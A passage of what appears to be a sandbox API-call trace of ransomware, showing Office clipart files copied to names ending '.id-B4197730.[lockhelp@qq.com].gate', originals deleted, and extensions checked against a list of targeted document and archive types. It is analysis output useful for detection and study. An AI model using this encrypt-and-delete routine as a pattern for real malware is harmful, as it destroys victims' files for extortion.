dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.963] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3416) returned 1 [0281.963] CloseHandle (hObject=0x3d0) returned 1 [0281.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0281.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.963] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.964] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.964] GetLastError () returned 0x0 [0281.964] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xd58, lpOverlapped=0x0) returned 1 [0282.019] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xd60, lpOverlapped=0x0) returned 1 [0282.020] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.020] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.021] SetEndOfFile (hFile=0x4a4) returned 1 [0282.021] CloseHandle (hObject=0x4a4) returned 1 [0282.021] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.021] SetEndOfFile (hFile=0x3d0) returned 1 [0282.024] CloseHandle (hObject=0x3d0) returned 1 [0282.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0282.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.025] lstrlenW (lpString=".doc") returned 4 [0282.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.025] lstrlenW (lpString=".docx") returned 5 [0282.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.025] lstrlenW (lpString=".pdf") returned 4 [0282.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.025] lstrlenW (lpString=".xls") returned 4 [0282.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.025] lstrlenW (lpString=".xlsx") returned 5 [0282.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.026] lstrlenW (lpString=".ppt") returned 4 [0282.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.026] lstrlenW (lpString=".zip") returned 4 [0282.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.026] lstrlenW (lpString=".rar") returned 4 [0282.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString=".bz2") returned 4 [0282.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString=".7z") returned 3 [0282.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.026] lstrlenW (lpString=".dbf") returned 4 [0282.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.026] lstrlenW (lpString=".1cd") returned 4 [0282.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.026] lstrlenW (lpString=".jpg") returned 4 [0282.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.026] lstrlenW (lpString=".doc") returned 4 [0282.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString=".docx") returned 5 [0282.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.026] lstrlenW (lpString=".pdf") returned 4 [0282.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.026] lstrlenW (lpString=".xls") returned 4 [0282.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.027] lstrlenW (lpString=".xlsx") returned 5 [0282.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.027] lstrlenW (lpString=".ppt") returned 4 [0282.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.027] lstrlenW (lpString=".zip") returned 4 [0282.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.027] lstrlenW (lpString=".rar") returned 4 [0282.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.027] lstrlenW (lpString=".bz2") returned 4 [0282.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.027] lstrlenW (lpString=".7z") returned 3 [0282.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.027] lstrlenW (lpString=".dbf") returned 4 [0282.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.027] lstrlenW (lpString=".1cd") returned 4 [0282.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0282.027] lstrlenW (lpString=".jpg") returned 4 [0282.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.027] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.027] lstrlenW (lpString="AN04196_.WMF") returned 12 [0282.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.028] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3144) returned 1 [0282.028] CloseHandle (hObject=0x3d0) returned 1 [0282.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0282.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.029] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.029] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.030] GetLastError () returned 0x0 [0282.030] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xc48, lpOverlapped=0x0) returned 1 [0282.031] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xc50, lpOverlapped=0x0) returned 1 [0282.032] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.032] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.032] SetEndOfFile (hFile=0x4a4) returned 1 [0282.033] CloseHandle (hObject=0x4a4) returned 1 [0282.033] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.033] SetEndOfFile (hFile=0x3d0) returned 1 [0282.035] CloseHandle (hObject=0x3d0) returned 1 [0282.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0282.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.036] lstrlenW (lpString=".doc") returned 4 [0282.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.036] lstrlenW (lpString=".docx") returned 5 [0282.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.036] lstrlenW (lpString=".pdf") returned 4 [0282.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.036] lstrlenW (lpString=".xls") returned 4 [0282.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.036] lstrlenW (lpString=".xlsx") returned 5 [0282.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.036] lstrlenW (lpString=".ppt") returned 4 [0282.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.037] lstrlenW (lpString=".zip") returned 4 [0282.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.037] lstrlenW (lpString=".rar") returned 4 [0282.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString=".bz2") returned 4 [0282.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString=".7z") returned 3 [0282.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.037] lstrlenW (lpString=".dbf") returned 4 [0282.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.037] lstrlenW (lpString=".1cd") returned 4 [0282.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.037] lstrlenW (lpString=".jpg") returned 4 [0282.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.037] lstrlenW (lpString=".doc") returned 4 [0282.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString=".docx") returned 5 [0282.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.037] lstrlenW (lpString=".pdf") returned 4 [0282.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.037] lstrlenW (lpString=".xls") returned 4 [0282.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.037] lstrlenW (lpString=".xlsx") returned 5 [0282.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.038] lstrlenW (lpString=".ppt") returned 4 [0282.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.038] lstrlenW (lpString=".zip") returned 4 [0282.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.038] lstrlenW (lpString=".rar") returned 4 [0282.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.038] lstrlenW (lpString=".bz2") returned 4 [0282.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.038] lstrlenW (lpString=".7z") returned 3 [0282.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.038] lstrlenW (lpString=".dbf") returned 4 [0282.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.038] lstrlenW (lpString=".1cd") returned 4 [0282.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0282.038] lstrlenW (lpString=".jpg") returned 4 [0282.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.038] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.038] lstrlenW (lpString="AN04206_.WMF") returned 12 [0282.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.039] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7668) returned 1 [0282.039] CloseHandle (hObject=0x3d0) returned 1 [0282.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0282.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.039] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.039] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.040] GetLastError () returned 0x0 [0282.040] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0282.042] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0282.042] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.042] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.042] SetEndOfFile (hFile=0x4a4) returned 1 [0282.043] CloseHandle (hObject=0x4a4) returned 1 [0282.043] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.043] SetEndOfFile (hFile=0x3d0) returned 1 [0282.045] CloseHandle (hObject=0x3d0) returned 1 [0282.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0282.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.047] lstrlenW (lpString=".doc") returned 4 [0282.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.047] lstrlenW (lpString=".docx") returned 5 [0282.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.047] lstrlenW (lpString=".pdf") returned 4 [0282.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.047] lstrlenW (lpString=".xls") returned 4 [0282.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.047] lstrlenW (lpString=".xlsx") returned 5 [0282.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.047] lstrlenW (lpString=".ppt") returned 4 [0282.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.047] lstrlenW (lpString=".zip") returned 4 [0282.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.047] lstrlenW (lpString=".rar") returned 4 [0282.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.047] lstrlenW (lpString=".bz2") returned 4 [0282.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.047] lstrlenW (lpString=".7z") returned 3 [0282.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.047] lstrlenW (lpString=".dbf") returned 4 [0282.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.047] lstrlenW (lpString=".1cd") returned 4 [0282.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.048] lstrlenW (lpString=".jpg") returned 4 [0282.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.048] lstrlenW (lpString=".doc") returned 4 [0282.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString=".docx") returned 5 [0282.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.048] lstrlenW (lpString=".pdf") returned 4 [0282.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString=".xls") returned 4 [0282.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.048] lstrlenW (lpString=".xlsx") returned 5 [0282.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.048] lstrlenW (lpString=".ppt") returned 4 [0282.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.048] lstrlenW (lpString=".zip") returned 4 [0282.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.048] lstrlenW (lpString=".rar") returned 4 [0282.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString=".bz2") returned 4 [0282.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.048] lstrlenW (lpString=".7z") returned 3 [0282.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.049] lstrlenW (lpString=".dbf") returned 4 [0282.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.049] lstrlenW (lpString=".1cd") returned 4 [0282.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0282.049] lstrlenW (lpString=".jpg") returned 4 [0282.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.049] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.049] lstrlenW (lpString="AN04225_.WMF") returned 12 [0282.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.049] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8492) returned 1 [0282.049] CloseHandle (hObject=0x3d0) returned 1 [0282.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: 